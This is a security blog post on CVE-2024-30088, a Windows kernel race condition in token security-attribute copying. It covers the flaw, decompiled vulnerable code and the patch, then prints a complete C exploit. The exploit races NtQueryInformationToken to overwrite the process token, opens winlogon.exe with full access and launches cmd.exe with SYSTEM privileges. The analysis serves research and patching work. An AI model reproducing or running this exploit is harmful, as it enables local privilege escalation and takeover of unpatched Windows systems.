Friday, June 21, 2024

The Dual TOCTOU Vulnerability CVE-2024-30088

Vulnerability Overview

CVE-2024-30088 is a critical vulnerability within the AuthzBasepCopyoutInternalSecurityAttributes function of the Windows operating system. This vulnerability is triggered when the kernel copies the _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION of the current token object to user mode:

// 0x30 bytes (sizeof) struct _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION { ULONG SecurityAttributeCount; // 0x0 struct _LIST_ENTRY SecurityAttributesList; // 0x8 ULONG WorkingSecurityAttributeCount; // 0x18 struct _LIST_ENTRY WorkingSecurityAttributesList; // 0x20 };

During the copy process, the kernel directly sets the list of SecurityAttribute structures to a user-supplied pointer. Subsequently, the RtlCopyUnicodeString and AuthzBasepCopyoutInternalSecurityAttributeValues functions are called to copy the names and values of the SecurityAttribute structures. This sequence introduces multiple Time-of-Check to Time-of-Use (TOCTOU) vulnerabilities, allowing an attacker to modify pointers in a race condition, leading to arbitrary address writes with controlled data and size.

Exploitation

Exploiting this vulnerability involves a race condition where an attacker can modify the buffer pointer of the attribute name before the RtlCopyUnicodeString function is called:

  1. Triggering the Vulnerability: This can be triggered by calling the NtQueryInformationToken with the TokenAccessInformation class.
  2. Modifying the Buffer Pointer: Using a racing thread, the attacker can modify the buffer pointer before the RtlCopyUnicodeString function is executed, pointing it to an arbitrary address.
  3. Arbitrary Write: Once the pointer is modified, the attacker can achieve arbitrary address writes with controlled data and size.

if (p_SecurityAttributesList->Flink != p_SecurityAttributesList) { v13 = pInfo + 0x98; do { v14 = *(_QWORD **)(pInfo + 0x10); if (*v14 != v7) { __fastfail(3u); } *(_QWORD *)(v13 - 96) = v14; *(_QWORD *)(v13 - 104) = v7; *v14 = v13 - 104; *(_QWORD *)(pInfo + 16) = v13 - 104; ++*(_DWORD *)pInfo; *(_WORD *)(v13 - 56) = *(_WORD *)(Flink + 48); v15 = *(_DWORD *)(Flink + 52); *(_QWORD *)(v13 - 48) = 0i64; *(_DWORD *)(v13 - 40) = 0; *(_DWORD *)(v13 - 16) = 0; v16 = (v10 + 1) & 0xFFFFFFFFFFFFFFFEui64; *(_QWORD *)(v13 - 32) = v13 - 32; RtlCopyUnicodeString((v13 - 0x48), (Flink + 0x20)); // Vulnerable call } while (Flink != p_SecurityAttributesList->Flink); }

Patch Analysis

The patch for CVE-2024-30088 introduces a critical change to prevent the exploitation. The kernel now uses a local variable on the stack (denoted as v18 in the code) as a buffer to copy the security attribute names before writing them back to the user buffer if the syscall originates from user mode. This approach eliminates the race condition by ensuring that the data is securely handled within kernel space before any interaction with user space.

// Local variable on stack used as a buffer v18.Buffer = kernel_stack_buffer; v18.MaximumLength = attribute_name_length; v18.Length = 0; // Securely copy the attribute name to the local buffer RtlCopyUnicodeString(&v18, &kernel_security_attribute_name); // Write back to user buffer user_buffer = v18.Buffer;

Full Exploit Code


#include <Windows.h>

#include <stdio.h>

#include "ex.h"


#pragma comment(lib, "ntdll.lib")


#define OFFSET_PID 0x440

#define OFFSET_PROCESS_LINKS 0x448

#define OFFSET_TOKEN 0x4b8

#define OFFSET_KPROCESS 0x220


typedef NTSTATUS(*pNtWriteVirtualMemory)(

    IN HANDLE               ProcessHandle,

    IN PVOID                BaseAddress,

    IN PVOID                Buffer,

    IN ULONG                NumberOfBytesToWrite,

    OUT PULONG              NumberOfBytesWritten OPTIONAL

);


typedef NTSTATUS(*pNtReadVirtualMemory)(

    IN HANDLE               ProcessHandle,

    IN PVOID                BaseAddress,

    OUT PVOID               Buffer,

    IN ULONG                NumberOfBytesToRead,

    OUT PULONG              NumberOfBytesRead OPTIONAL

);


typedef NTSTATUS NtQueryInformationToken(

    HANDLE                  TokenHandle,

    TOKEN_INFORMATION_CLASS TokenInformationClass,

    PVOID                   TokenInformation,

    ULONG                   TokenInformationLength,

    PULONG                  ReturnLength

);


typedef struct _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION {

    ULONG SecurityAttributeCount;

    struct _LIST_ENTRY SecurityAttributesList;

    ULONG WorkingSecurityAttributeCount;

    struct _LIST_ENTRY WorkingSecurityAttributesList;

} AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION, *PAUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION;


typedef struct _UNICODE_STRING {

    USHORT Length;

    USHORT MaximumLength;

    PWSTR  Buffer;

} UNICODE_STRING, *PUNICODE_STRING;


NtQueryInformationToken* pQueryInfoToken = NULL;

HANDLE hToken;

BYTE* TokenInfo = NULL;

DWORD Infolen = 0x1000;

DWORD retlen = 0;

DWORD OffsetToName = 0;

BYTE* RaceAddr = NULL;

ULONGLONG kTokenAddr = 0;


void RaceThread() {

    ULONGLONG value = kTokenAddr + 0x40 - 4;

    for (int i = 0; i < 0x10000; i++) {

        *(WORD*)(RaceAddr + 2) = 2;

        *(ULONGLONG*)(RaceAddr + 8) = value;

    }

}


int main() {

    HMODULE ntdll = GetModuleHandleA("ntdll");

    pQueryInfoToken = (NtQueryInformationToken*)GetProcAddress(ntdll, "NtQueryInformationToken");


    if (!pQueryInfoToken) {

        fprintf(stderr, "Failed to get NtQueryInformationToken address.\n");

        return -1;

    }


    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) {

        fprintf(stderr, "Failed to open process token.\n");

        return -1;

    }


    kTokenAddr = (ULONGLONG)GetKernelPointerByHandle(hToken);

    printf("hToken: %p, kTokenAddr: %p\n", hToken, (void*)kTokenAddr);


    getchar();


    TokenInfo = (BYTE*)VirtualAlloc(NULL, Infolen, MEM_COMMIT, PAGE_READWRITE);

    if (!TokenInfo) {

        fprintf(stderr, "Failed to allocate memory for token information.\n");

        return -1;

    }


    NTSTATUS status = pQueryInfoToken(hToken, (TOKEN_INFORMATION_CLASS)22, TokenInfo, Infolen, &retlen);

    if (status != 0) {

        fprintf(stderr, "NtQueryInformationToken failed with status: 0x%x\n", status);

        return -1;

    }


    _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION* pSecurityAttributes = 

        (_AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION*)((_TOKEN_ACCESS_INFORMATION*)TokenInfo)->SecurityAttributes;

    if (pSecurityAttributes->SecurityAttributeCount) {

        BYTE* Flink = (BYTE*)pSecurityAttributes->SecurityAttributesList.Flink;

        if (Flink) {

            OffsetToName = Flink + 0x20 - TokenInfo;

            printf("Found target offset value: 0x%x\n", OffsetToName);

        }

    }


    if (!OffsetToName) {

        fprintf(stderr, "Failed to find target offset value.\n");

        return -1;

    }


    RaceAddr = TokenInfo + OffsetToName;

    printf("Target address = %p\n", (void*)RaceAddr);


    HANDLE hWinLogon = INVALID_HANDLE_VALUE;

    ULONG pid = GetPidByName(L"winlogon.exe");

    while (1) {

        HANDLE h = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)RaceThread, NULL, 0, NULL);

        if (!h) {

            fprintf(stderr, "Failed to create race thread.\n");

            return -1;

        }

        SetThreadPriority(h, THREAD_PRIORITY_TIME_CRITICAL);


        for (int i = 0; i < 5000; i++) {

            pQueryInfoToken(hToken, (TOKEN_INFORMATION_CLASS)22, TokenInfo, Infolen, &retlen);

        }


        WaitForSingleObject(h, INFINITE);


        hWinLogon = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

        if (hWinLogon) {

            break;

        }

    }


    printf("Got Winlogon handle: %p\n", hWinLogon);

    getchar();


    if (!CreateProcessFromHandle(hWinLogon, (LPSTR)"C:\\Windows\\system32\\cmd.exe")) {

        fprintf(stderr, "Failed to create process from handle.\n");

    }


    CloseHandle(hWinLogon);

    CloseHandle(hToken);


    return 0;

}


Unveiling CVE-2024-38112 in the Shadows of Internet Explorer

Overview Recent security research uncovered a new vulnerability within Windows systems that exploits Internet Explorer to execute remote cod...